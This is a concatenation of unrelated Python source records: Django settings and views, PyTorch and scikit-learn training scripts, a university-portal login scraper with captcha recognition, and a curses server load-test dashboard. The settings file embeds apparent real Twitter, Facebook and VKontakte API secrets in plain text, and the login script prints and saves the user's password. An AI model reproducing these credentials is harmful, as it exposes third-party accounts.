sources.\nTEMPLATE_LOADERS_1_2 = (\n 'django.template.loaders.filesystem.load_template_source',\n 'django.template.loaders.app_directories.load_template_source',\n 'django.template.loaders.eggs.load_template_source',\n)\nTEMPLATE_LOADERS_1_3 = (\n ('django.template.loaders.cached.Loader',\n ('django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader')),\n)\n\nTEMPLATE_LOADERS = TEMPLATE_LOADERS_1_3\n\nMIDDLEWARE_CLASSES = (\n 'johnny.middleware.LocalStoreClearMiddleware',\n 'johnny.middleware.QueryCacheMiddleware',\n 'mediagenerator.middleware.MediaMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.middleware.doc.XViewMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'debug_toolbar.middleware.DebugToolbarMiddleware',\n #'impersonate.middleware.ImpersonateMiddleware',\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'django.core.context_processors.media',\n 'django.core.context_processors.static',\n )\n\n#\n# TEMPLATE_CONTEXT_PROCESSORS += (\n# 'social_auth.context_processors.social_auth_by_name_backends',\n# 'social_auth.context_processors.social_auth_backends',\n# 'social_auth.context_processors.social_auth_by_type_backends',\n# 'social_auth.context_processors.social_auth_login_redirect',\n# )\n\nROOT_URLCONF = 'urls'\n\nTEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\" or \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n os.path.join(PROJECT_ROOT, 'templates'),\n)\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.admin',\n 'django.contrib.sites',\n# 'handprint',\n# '%s.apps.social_auth' % PROJECT_NAME,\n# PROJECT_NAME + '.apps.social_auth',\n 'social_auth',\n 'south',\n 'uni_form',\n 'debug_toolbar',\n #'staticfiles',\n 'django.contrib.staticfiles',\n# 'mediagenerator',\n 'easy_thumbnails',\n 'johnny',\n 'questionnaire',\n\n 'indexer',\n 'paging',\n #'sentry',\n #'sentry.client',\n #'impersonate',\n #'handprint',\n)\n\nAUTHENTICATION_BACKENDS = (\n 'social_auth.backends.twitter.TwitterBackend',\n 'social_auth.backends.facebook.FacebookBackend',\n 'social_auth.backends.google.GoogleOAuthBackend',\n 'social_auth.backends.google.GoogleBackend',\n 'social_auth.backends.yahoo.YahooBackend',\n #'social_auth.backends.contrib.LiveJournalBackend',\n 'social_auth.backends.contrib.orkut.OrkutBackend',\n 'social_auth.backends.OpenIDBackend',\n 'social_auth.backends.contrib.vkontakte.VKontakteBackend',\n\n 'django.contrib.auth.backends.ModelBackend',\n)\n\nLOGIN_URL = '/hello/'\nLOGIN_REDIRECT_URL = '/complete/'\nLOGIN_ERROR_URL = '/error/'\n\nSOCIAL_AUTH_COMPLETE_URL_NAME = 'complete'\n\nTWITTER_CONSUMER_KEY = 'nAcOPEZoQNqCnuXjRJ6ww'\nTWITTER_CONSUMER_SECRET = 'u7IhKflkJEyA23hpDX7iU8sMVbznDjTZ6VnsFDu8Vo'\n\nFACEBOOK_APP_ID = '108737439201904'\nFACEBOOK_API_SECRET = '30a74409d4ef5e294d85b68801574a8f'\n\nVKONTAKTE_APP_ID=\"2152224\"\nVKONTAKTE_APP_SECRET=\"DAVhgEIuTaKHEaMCqXNG\"\n\n\nDEBUG_TOOLBAR_PANELS = (\n 'debug_toolbar.panels.version.VersionDebugPanel',\n 'debug_toolbar.panels.timer.TimerDebugPanel',\n 'debug_toolbar.panels.settings_vars.SettingsVarsDebugPanel',\n 'debug_toolbar.panels.headers.HeaderDebugPanel',\n 'debug_toolbar.panels.request_vars.RequestVarsDebugPanel',\n 'debug_toolbar.panels.template.TemplateDebugPanel',\n 'debug_toolbar.panels.sql.SQLDebugPanel',\n 'debug_toolbar.panels.signals.SignalDebugPanel',\n 'debug_toolbar.panels.logger.LoggingPanel',\n)\n\ndef custom_show_toolbar(request):\n return DEBUG\n\nDEBUG_TOOLBAR_CONFIG = {\n 'INTERCEPT_REDIRECTS': False,\n 'SHOW_TOOLBAR_CALLBACK': custom_show_toolbar,\n #'EXTRA_SIGNALS': ['myproject.signals.MySignal'],\n 'HIDE_DJANGO_SQL': False,\n 'TAG': 'div',\n}\n\n#MEDIA_DEV_MODE = DEBUG\n#DEV_MEDIA_URL = '/devmedia/'\n#\n#GLOBAL_MEDIA_DIRS = (os.path.join(os.path.dirname(__file__), 'static'),)\n#COPY_MEDIA_FILETYPES = ('gif', 'jpg', 'jpeg', 'png', 'svg', 'svgz',\n# 'ico', 'swf', 'ttf', 'otf', 'eot', 'css', 'js')\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n#STATICFILES_DIRS = (\n# os.path.abspath(os.path.join(PROJECT_ROOT,\"project\",\"media\")),\n#)\n#STATIC_ROOT = os.path.join(PROJECT_ROOT,\"static\")\n#STATIC_URL = \"/static/\"\n#STATIC_URL_DEBUG = \"/static_server/\"\n#if DEBUG:\n# ADMIN_MEDIA_PREFIX = '%s/admin/' % STATIC_URL_DEBUG\n\n#STATICFILES_DIRS = (os.path.join(PROJECT_ROOT,\"static\"),STATIC_ROOT)\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":8879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"102261167","text":"from django.contrib.auth.mixins import LoginRequiredMixin, PermissionRequiredMixin\nfrom django.contrib.auth.views import LoginView\nfrom django.forms import inlineformset_factory\nfrom django.shortcuts import render, redirect\n\n# Create your views here.\nfrom django.urls import reverse_lazy\nfrom django.views.generic import CreateView, ListView, UpdateView, DeleteView\n\nfrom .forms import TambahPengaduForm, UserForm, LoginForm, UpdateUserForm, UbahPeranForm, ProfileForm, \\\n UserProfileForm\nfrom .models import Pengguna, GroupPeran, Profile\nfrom .models_peran import Pengadu\n\nsegment = {\n 'segmentKey': 'akun'\n}\n\n\nclass UserLogin(LoginView):\n form_class = LoginForm\n template_name = 'akun/login.html'\n redirect_authenticated_user = True\n success_url = 'akun/index.html'\n\n\nclass TambahPengaduView(CreateView):\n model = Pengadu\n form_class = TambahPengaduForm\n success_url = reverse_lazy('pagesApp:homeUrl')\n template_name = 'akun/registrasi.html'\n profile_pengguna_formset = inlineformset_factory(parent_model=model, model=Profile, form=ProfileForm,\n can_delete=False)\n\n def get_context_data(self, **kwargs):\n cx = super().get_context_data(**kwargs)\n profile_formset = self.profile_pengguna_formset()\n cx['profileForm'] = profile_formset\n return cx\n\n def post(self, request, *args, **kwargs):\n form = self.get_form(self.form_class)\n profile_form = self.profile_pengguna_formset(self.request.POST)\n if profile_form.is_valid() and form.is_valid():\n self.object = form.save()\n profile_form.instance = self.object\n profile_form.save()\n return redirect(self.success_url)\n else:\n return self.render_to_response(self.get_context_data(form=form))\n\n\nclass UserListView(LoginRequiredMixin, PermissionRequiredMixin, ListView):\n permission_required = 'akun.view_pengguna'\n model = Pengguna\n paginate_by = 10\n template_name = 'akun/list-user.html'\n extra_context = segment\n\n\nclass TambahUserView(LoginRequiredMixin, PermissionRequiredMixin, CreateView):\n permission_required = 'akun.add_pengguna'\n form_class = UserForm\n success_url = reverse_lazy('akunApp:listUserUrl')\n template_name = 'akun/tambah-user.html'\n extra_context = segment\n\n\nclass UbahUserView(LoginRequiredMixin, PermissionRequiredMixin, UpdateView):\n permission_required = 'akun.change_pengguna'\n model = Pengguna\n form_class = UpdateUserForm\n success_url = reverse_lazy('akunApp:listUserUrl')\n template_name = 'akun/tambah-user.html'\n extra_context = segment\n\n\nclass HapusUserView(LoginRequiredMixin, PermissionRequiredMixin, DeleteView):\n permission_required = 'akun.delete_pengguna'\n model = Pengguna\n success_url = reverse_lazy('akunApp:listUserUrl')\n\n\nclass PeranListView(LoginRequiredMixin, PermissionRequiredMixin, ListView):\n permission_required = 'akun.view_groupperan'\n model = GroupPeran\n template_name = 'akun/list-peran.html'\n extra_context = {\n 'segmentKey': 'peran',\n }\n\n def get_queryset(self):\n peran_pengadu, created = GroupPeran.objects.get_or_create(name=Pengguna.Peran.PENGADU)\n peran_adminsek, created = GroupPeran.objects.get_or_create(name=Pengguna.Peran.ADMINSEK)\n peran_verifikator, created = GroupPeran.objects.get_or_create(name=Pengguna.Peran.VERIFIKATOR)\n return super().get_queryset()\n\n\nclass UbahPeranView(LoginRequiredMixin, PermissionRequiredMixin, UpdateView):\n permission_required = 'akun.change_groupperan'\n model = GroupPeran\n form_class = UbahPeranForm\n success_url = reverse_lazy('akunApp:listPeranUrl')\n template_name = 'akun/tambah-user.html'\n extra_context = {\n 'segmentKey': 'peran',\n }\n\n\nclass UbahProfileView(LoginRequiredMixin, PermissionRequiredMixin, UpdateView):\n permission_required = ('akun.change_pengguna', 'akun.change_profile')\n model = Pengguna\n form_class = UserProfileForm\n success_url = reverse_lazy('pengaduanApp:listUrl')\n template_name = 'akun/ubah-profile.html'\n profile_pengguna_formset = inlineformset_factory(parent_model=model, model=Profile, form=ProfileForm,\n can_delete=False)\n\n def get_context_data(self, **kwargs):\n cx = super().get_context_data(**kwargs)\n profile_formset = self.profile_pengguna_formset(initial=[self.object.get_profile(), ])\n cx['profileForm'] = profile_formset\n return cx\n\n def post(self, request, *args, **kwargs):\n obj = self.get_object()\n form = self.form_class(instance=obj, data=self.request.POST)\n profile_form = self.profile_pengguna_formset(instance=obj, data=self.request.POST)\n\n if profile_form.is_valid() and form.is_valid():\n form.save()\n profile_form.save()\n return redirect(self.success_url)\n else:\n return self.render_to_response(self.get_context_data(form=form))\n","sub_path":"porting_simadu/akun/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"95554886","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 10 15:57:49 2019\n\n@author: sczwangxiao\n\"\"\"\n\n\nimport myDL\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torchvision\nimport torchvision.transforms as transforms\n\n# 1. Loading and normalizing CIFAR10\ntransform = transforms.Compose(\n [transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\ntrainset = torchvision.datasets.CIFAR10(root='./data', train=True,\n download=True, transform=transform)\ntestset = torchvision.datasets.CIFAR10(root='./data', train=False,\n download=True, transform=transform)\ntrainloader = torch.utils.data.DataLoader(trainset, batch_size=4,\n shuffle=False, num_workers=4)\ntestloader = torch.utils.data.DataLoader(testset, batch_size=4,\n shuffle=False, num_workers=4)\nclasses = ('plane', 'car', 'bird', 'cat',\n 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\n\n# 2. Define a Network\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(3, 6, 5)\n self.pool = nn.MaxPool2d(2, 2)\n self.conv2 = nn.Conv2d(6, 16, 5)\n self.fc1 = nn.Linear(16 * 5 * 5, 120)\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, 10)\n\n def forward(self, x):\n x = self.pool(F.relu(self.conv1(x)))\n x = self.pool(F.relu(self.conv2(x)))\n x = x.view(-1, 16 * 5 * 5)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\nnet = Net()\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9)\n\nnum_epochs = 5\n\nmyDL.Train(net, trainloader, testloader, criterion, num_epochs, optimizer, \n verbose=1)\n\n\n\nnn.BatchNorm1d\n\n\n\n\n\n\n\n","sub_path":"CS231n/code/CIFAR10.py","file_name":"CIFAR10.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"419952422","text":"\n\n#calss header\nclass _HENNA():\n\tdef __init__(self,): \n\t\tself.name = \"HENNA\"\n\t\tself.definitions = [u'to put henna on the hair or skin in order to change its colour: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_henna.py","file_name":"_henna.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"468103407","text":"#!/usr/bin/env python3\n#\n# Trains a baseline logistic regression classifier and reports the\n# results on all tasks. Uses pre-processed spectra and does not do\n# any peak calling.\n\nfrom ismb2020_maldi.datasets import AntibioticResistanceDataset\nfrom ismb2020_maldi.datasets import EcoliAntibioticResistanceDataset\nfrom ismb2020_maldi.datasets import KpneuAntibioticResistanceDataset\nfrom ismb2020_maldi.datasets import SaureusAntibioticResistanceDataset\n\nfrom maldi_learn.vectorization import BinningVectorizer\n\nfrom imblearn.over_sampling import RandomOverSampler\n\nfrom sklearn.exceptions import FitFailedWarning\nfrom sklearn.exceptions import ConvergenceWarning\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import average_precision_score\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline\n\nfrom joblib import parallel_backend\n\nimport numpy as np\nimport json_tricks as jt\n\nimport argparse\nimport os\nimport warnings\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-s', '--species', type=str, required=True)\n parser.add_argument('-a', '--antibiotic', type=str, required=True)\n parser.add_argument('-S', '--seed', type=int, required=False, default=2020)\n parser.add_argument('-o', '--output', type=str)\n parser.add_argument('--suffix', type=str, default='')\n\n args = parser.parse_args()\n\n species_to_dataset = {\n 'ecoli': EcoliAntibioticResistanceDataset,\n 'kpneu': KpneuAntibioticResistanceDataset,\n 'saureus': SaureusAntibioticResistanceDataset\n }\n\n dataset = species_to_dataset[args.species](\n test_size=0.20,\n antibiotic=args.antibiotic,\n random_seed=args.seed,\n suffix=args.suffix\n )\n\n X_train, y_train = dataset.training_data\n X_test, y_test = dataset.testing_data\n\n # Perform random oversampling in order to ensure class balance. This\n # is strictly speaking not required but we do it for the GP as well,\n # so in the interest of comparability, we have to do it here.\n\n ros = RandomOverSampler(random_state=args.seed)\n\n X_indices = np.asarray(\n [i for i in range(0, len(X_train))]).reshape(-1, 1)\n\n X_indices, y_train = ros.fit_sample(X_indices, y_train)\n X_train = np.take(X_train, X_indices.ravel())\n\n # Static information about the data set; will be extended later on\n # with information about the training itself.\n data = {\n 'seed': args.seed,\n 'species': args.species,\n 'antibiotic': args.antibiotic,\n 'spectra_path': os.getenv('ANTIBIOTICS_SPECTRA_PATH'),\n 'endpoint_path': os.getenv('ANTIBIOTICS_ENDPOINT_PATH'),\n }\n\n param_grid = {\n 'bv__n_bins': [300, 600, 1800, 3600],\n 'lr__penalty': ['l1', 'l2', 'elasticnet', 'none'],\n 'lr__C': 10. ** np.arange(-4, 5), # 10^{-4}..10^{4}\n }\n\n data['param_grid'] = param_grid\n\n # Define pipeline and cross-validation setup\n\n pipeline = Pipeline(\n [\n ('bv', BinningVectorizer(\n n_bins=0,\n min_bin=2000,\n max_bin=20000)),\n ('std', StandardScaler()),\n ('lr', LogisticRegression(\n class_weight='balanced',\n solver='saga' # supports L_1 and L_2 penalties\n )\n )\n ],\n memory=os.getenv('TMPDIR', default=None),\n )\n\n grid_search = GridSearchCV(\n pipeline,\n param_grid=param_grid,\n scoring='average_precision',\n cv=StratifiedKFold(n_splits=5, shuffle=True,\n random_state=42),\n n_jobs=-1,\n )\n\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore', category=ConvergenceWarning)\n warnings.filterwarnings('ignore', category=FitFailedWarning)\n warnings.filterwarnings('ignore', category=UserWarning)\n\n # Let's do the fitting in parallel, but the prediction can be done\n # without additional threading.\n with parallel_backend('threading'):\n grid_search.fit(X_train, y_train)\n\n data['best_parameters'] = grid_search.best_params_\n\n # AUPRC\n\n y_pred = grid_search.predict_proba(X_test)\n average_precision = average_precision_score(y_test, y_pred[:, 1])\n\n data['average_precision'] = 100 * average_precision\n\n # Accuracy\n\n y_pred = grid_search.predict(X_test)\n accuracy = accuracy_score(y_test, y_pred)\n\n data['accuracy'] = 100 * accuracy\n\n if args.output is not None:\n with open(args.output, 'w') as f:\n jt.dump(data, f, indent=4)\n else:\n print(jt.dumps(data, indent=4))\n","sub_path":"ismb2020_maldi/baseline_maldiquant.py","file_name":"baseline_maldiquant.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"149365153","text":"#!/usr/bin/env python3\n# -*- encoding: utf-8 -*-\n\"\"\"\n @File: login.py\n @Create: 2020/7/12 12:23\n @Version: V1.0-base\n @Author: afeng\n @Contact: afeng616@gmail.com\n @Description: wyu登录\n\"\"\"\n\nimport os\nimport requests\nimport configparser\n\ntry:\n from model.WYU_ResNet_captcah import UseCPU\nexcept:\n from .model.WYU_ResNet_captcah import UseCPU\n\nfrom io import BytesIO\nfrom PIL import Image\n\n\nclass WYULogin:\n def __init__(self, path_conf):\n # 配置文件读取账号、密码\n self.cf = configparser.ConfigParser()\n self.path_conf = os.path.join(path_conf, 'account.ini')\n self.cf.read(self.path_conf, 'utf-8')\n print('>=自account.ini读取WYU学号、密码=<')\n if not os.path.exists(self.path_conf):\n print(f'未在指定目录({self.path_conf})找到account.ini文件')\n print('若account.ini文件中无登录数据请在命令行中手动输入')\n self.session = requests.session()\n account = self.cf.get('WYU', 'account')\n self.account = account if account is not '' else input('请输入WYU学号:')\n pwd = self.cf.get('WYU', 'pwd')\n self.pwd = pwd if pwd is not '' else input('请输入WYU密码:')\n print(f'获取WYU学号:{self.account}/密码:{self.pwd}')\n self.account_update()\n\n def login(self):\n url_login = 'http://jxgl.wyu.edu.cn/new/login'\n yzm = self.yzm_process()\n data = {\n 'account': self.account,\n 'pwd': self.pwd,\n 'verifycode': yzm\n }\n print('>=WYU尝试登录=<')\n text = self.session.post(url_login, data=data).text\n while '登录成功' not in text:\n if '验证码不正确' in text:\n print('验证码自动识别错误,尝试再次识别')\n yzm = self.yzm_process()\n data.update({'verifycode', yzm})\n else:\n print(f'WYU账号、密码不正确({self.account}|{self.pwd})')\n self.account = input('请重新输入WYU学号:')\n self.pwd = input('请重新输入WYU密码:')\n self.account_update()\n yzm = self.yzm_process()\n data.update({'verifycode', yzm})\n print('>=WYU尝试登录=<')\n text = self.session.post(url_login, data=data).text\n print('>=WYU登录成功=<')\n return self.session\n\n def yzm_process(self):\n url_yzm = 'http://jxgl.wyu.edu.cn/yzm'\n print('>=验证码识别=<')\n print('>=获取WYU系统验证码=<')\n yzm_response = self.session.get(url_yzm) # 获取验证码响应\n yzm_img = Image.open(BytesIO(yzm_response.content))\n print('>=验证码识别=<')\n t, yzm = UseCPU(yzm_img) # 识别时间、识别结果\n print(f'验证码识���花费时间:{t}s')\n return yzm\n\n def account_update(self):\n print('>=account.ini数据更新=<')\n self.cf.set('WYU', 'account', self.account)\n self.cf.set('WYU', 'pwd', self.pwd)\n self.cf.write(open(self.path_conf, 'r+', encoding='utf-8'))\n\n\nif __name__ == '__main__':\n print(\"\"\"\n _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ \n \\ _ _ _ _\\ \\ _ _ _ _\\ / _ _ \\ \\ _ _ _ _\\ \n \\ \\ test \\ \\_ _ _ _ \\ \\ _ _ _ \\ \\ \n \\ \\ some- \\ _ _ _ _\\ \\ _ _ _ _ \\ \\ \\ \n \\ \\ thing \\ \\_ _ _ _ _ _ _ _\\ | \\ \\ \n \\_ _\\ here! \\_ _ _ _ _ _\\ \\ _ _ _ _ / \\_ _\\ \n \"\"\")\n WYULogin('../').login()\n","sub_path":"operate/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"530296332","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Rectangle\nimport numpy as np\n\ndata = pd.read_csv('simple_value_plotting')\nprint(data)\n\nN_GROUPS = len(data)\nHEIGHT = 1\nrectangles = []\n\nyticks = np.linspace(HEIGHT, N_GROUPS * HEIGHT * 2, N_GROUPS)\ncolors = ['g', 'r', 'b', 'purple'] * (N_GROUPS // 4)\n\nfor (_, row), y, c in zip(data.iterrows(), yticks, colors):\n rec = {'xy': (row.start, y - HEIGHT/2),\n 'width': row.end - row.start,\n 'height': 1,\n 'fill': False,\n 'color': c\n }\n rectangles.append(rec)\n\nfor rec in rectangles:\n ax = plt.gca()\n p = Rectangle(**rec)\n ax.add_patch(p)\n\nplt.yticks(yticks, data['group'])\nplt.xlim([data['start'].min() - 1, data['end'].max() + 1])\nplt.ylim([0, (N_GROUPS * HEIGHT * 2) + HEIGHT])\nplt.show()\n","sub_path":"pandas_learnning/time_plotting.py","file_name":"time_plotting.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"635755043","text":"import curses\nimport logging\nfrom multiprocessing import Queue\nimport signal\nimport sys\nimport threading\nfrom threading import Thread, Event\nimport time\n\nfrom clients_urllib import AutomatThread\n\nHOST, PORT = '127.0.0.1', 8001\n\nlogger = logging.getLogger(\"TestAutomat\")\nlogger.setLevel(logging.ERROR)\nfh = logging.FileHandler(\"error.log\")\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nfh.setFormatter(formatter)\nlogger.addHandler(fh)\n\n\nclass MainWindow:\n def __init__(self):\n self.queue = Queue()\n self.event_stop_clients = Event()\n self.screen_buffer = {'request_count': 0, 'F_status_count': 0, 'clients': {}, 'max': 0, 'min': 255}\n self.server_object = {'name': ['Test async', 'Flask', 'CherryPy'], 'select': 0, 'run': False}\n self.set_windows()\n self.loop()\n\n def set_windows(self):\n self.screen = curses.initscr()\n curses.start_color()\n curses.init_pair(1, curses.COLOR_RED, curses.COLOR_BLACK)\n curses.init_pair(2, curses.COLOR_YELLOW, curses.COLOR_BLACK)\n curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_CYAN)\n curses.init_pair(4, curses.COLOR_WHITE, curses.COLOR_BLUE)\n curses.init_pair(5, curses.COLOR_WHITE, curses.COLOR_GREEN)\n curses.init_pair(6, curses.COLOR_WHITE, curses.COLOR_CYAN)\n curses.init_pair(7, curses.COLOR_WHITE, curses.COLOR_BLACK)\n curses.curs_set(False)\n self.screen.nodelay(True)\n self.create_windiws()\n\n self.f_mesage = 'stcepseR yaP ot F sserP'\n\n def create_windiws(self):\n self.servers = curses.newwin(len(self.server_object['name'])+2, 31, 5, 37)\n self.servers.bkgd(' ', curses.color_pair(6) | curses.A_BOLD)\n self.win = curses.newwin(5, 30, 5, 7)\n self.win.bkgd(' ', curses.color_pair(4) | curses.A_BOLD)\n self.clients = curses.newwin(14, 42, 1, 1)\n self.clients.bkgd(' ', curses.color_pair(0) | curses.A_BOLD)\n\n def select_server(self):\n ''' Window show servers list '''\n length = ' ' * 26\n self.servers.border()\n self.servers.addstr(0, 8, ' Select server ', curses.color_pair(6))\n\n for i, server in enumerate(self.server_object['name']):\n line = f'{server}'\n if self.server_object['select'] == i:\n self.servers.addstr(1+i, 2, f' {line}{length[len(line):]}', curses.color_pair(7))\n else:\n self.servers.addstr(1+i, 2, f' {line}{length[len(line):]}', curses.color_pair(6))\n self.servers.noutrefresh()\n\n def start_server(self, srv):\n srv.run()\n\n def start_thread(self):\n if self.server_object['select'] == 0:\n from server_async import Server\n srv = Server(HOST, PORT, self.queue)\n elif self.server_object['select'] == 1:\n from server_flask import Server_Flask\n srv = Server_Flask(HOST, PORT, self.queue)\n elif self.server_object['select'] == 2:\n from server_cherrypy import Server_Cherypy\n srv = Server_Cherypy(HOST, PORT, self.queue)\n\n # run server\n thread = Thread(target=self.start_server, args=(srv, ), daemon=True)\n thread.start()\n\n # run clients\n for name in range(0, 32):\n thread = AutomatThread(name, HOST, PORT, self.event_stop_clients)\n thread.start()\n self.screen.clear()\n\n def loop(self):\n curses.update_lines_cols()\n line, cols = curses.LINES, curses.COLS\n char = 0\n exit_symbol = [81, 113, 176, 208, 70, 102, 192, 340]\n is_loop, is_exit = True, False\n count_time_exit = 0\n while is_loop:\n char = self.screen.getch()\n\n if char in exit_symbol:\n # stop clients\n self.event_stop_clients.set()\n is_exit = True\n\n # wait stop client-threads (only \"Test async\")\n if is_exit:\n if threading.active_count() <= 3:\n is_loop = False\n elif self.server_object['select'] > 0:\n count_time_exit += 1\n if count_time_exit == 50: # 5 seconds\n is_loop = False\n\n if not self.queue.empty():\n self.screen_buffer = self.queue.get()\n\n try:\n self.main_window()\n self.clients_window()\n\n if not self.server_object['run']:\n if char == curses.KEY_DOWN:\n self.server_object['select'] += 1\n elif char == curses.KEY_UP:\n self.server_object['select'] -= 1\n self.server_object['select'] %= len(self.server_object['name'])\n\n if char == 10:\n self.server_object['run'] = True\n self.start_thread()\n self.select_server()\n\n # All threads completed, close\n if self.screen_buffer['F_status_count'] == 32:\n self.f_window()\n elif self.screen_buffer['F_status_count'] > 32:\n break\n except curses.error as e:\n logger.error(str(e))\n\n curses.update_lines_cols()\n if curses.COLS != cols or curses.LINES != line:\n # if resize wondow\n line, cols = curses.LINES, curses.COLS\n self.create_windiws()\n self.screen.clear()\n self.clients.clear()\n self.win.clear()\n else:\n curses.doupdate()\n\n # update screen\n time.sleep(.1)\n\n handler()\n\n def f_window(self, ):\n ''' Show this window when all threads sended F-status '''\n self.win.addstr(2, 4, self.f_mesage[::-1], curses.color_pair(4))\n self.win.border()\n self.win.noutrefresh()\n\n def clients_window(self):\n ''' Window with status' clients '''\n next_pos, next_row = 0, 0\n for i, clnt in enumerate(self.screen_buffer['clients']):\n X = 0 if self.screen_buffer['clients'][clnt]['count'] > 99 else 1\n if self.screen_buffer['clients'][clnt]['status'] == 'F':\n self.clients.addstr(1 + next_row, 1 + next_pos, \" X_X \", curses.color_pair(1))\n self.clients.addstr(2 + next_row, 1 + next_pos,\n f\" {self.screen_buffer['clients'][clnt]['status']} \",\n curses.color_pair(1))\n self.clients.addstr(3 + next_row, X + next_pos,\n f\" {self.screen_buffer['clients'][clnt]['count']} \",\n curses.color_pair(1))\n else:\n self.clients.addstr(1 + next_row, 1 + next_pos, \" O_O \", curses.color_pair(2))\n self.clients.addstr(2 + next_row, 1 + next_pos,\n f\" {self.screen_buffer['clients'][clnt]['status']} \",\n curses.color_pair(2))\n self.clients.addstr(3 + next_row, X + next_pos,\n f\" {self.screen_buffer['clients'][clnt]['count']} \",\n curses.color_pair(2))\n\n if (i+1) % 8 == 0:\n next_pos = 0\n next_row += 3\n else:\n next_pos += 5\n self.clients.border()\n self.clients.noutrefresh()\n\n def draw_line(self):\n pass\n\n def main_window(self):\n self.screen.keypad(True)\n\n # server statistics\n self.screen.vline(1, 42, curses.ACS_VLINE, 12)\n\n self.screen.addstr(1, 45, self.server_object['name'][self.server_object['select']].center(16))\n self.screen.addstr(2, 45, f\"request: {self.screen_buffer['request_count']}\")\n if self.screen_buffer['min'] == 255:\n self.screen.addstr(3, 45, \"min: -\")\n else:\n self.screen.addstr(3, 45, f\"min: {self.screen_buffer['min']}\")\n\n if self.screen_buffer['max'] == 0:\n self.screen.addstr(4, 45, \"max: -\")\n else:\n self.screen.addstr(4, 45, f\"max: {self.screen_buffer['max']}\")\n\n self.screen.hline(5, 42, curses.ACS_LTEE, 1)\n self.screen.hline(5, 43, curses.ACS_HLINE, 16)\n\n self.screen.addstr(6, 45, f\"Threads: { threading.active_count() } \")\n self.screen.addstr(7, 45, f\"F-status: { self.screen_buffer['F_status_count']} \")\n\n # diagram\n self.screen.vline(2, 62, curses.ACS_VLINE, 12)\n self.screen.hline(13, 63, curses.ACS_HLINE, 32)\n self.screen.hline(13, 62, curses.ACS_PLUS, 1)\n\n height = 12\n for i, clnt in enumerate(self.screen_buffer['clients']):\n value = round(self.screen_buffer['clients'][clnt]['count'] / height)\n # FIXME use draw_line()\n if sys.platform != 'linux':\n self.screen.addstr(height - value, 63+i, \" \", curses.color_pair(5))\n else:\n self.screen.vline(1 + height - value, 63+i, curses.ACS_BOARD, value)\n\n self.screen.border()\n # Show [Quit]\n self.screen.addstr(curses.LINES-1, 1, \"Q\", curses.color_pair(3) | curses.A_UNDERLINE)\n self.screen.addstr(curses.LINES-1, 2, \"uit\", curses.color_pair(3))\n\n self.screen.move(curses.LINES-1, 1)\n self.screen.noutrefresh()\n\n\ndef handler(signum=None, frame=None):\n print('Signal handler called with signal', signum)\n sys.exit(0)\n\n\nif __name__ == '__main__':\n signal.signal(signal.SIGINT, handler)\n try:\n MainWindow()\n finally:\n curses.endwin()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
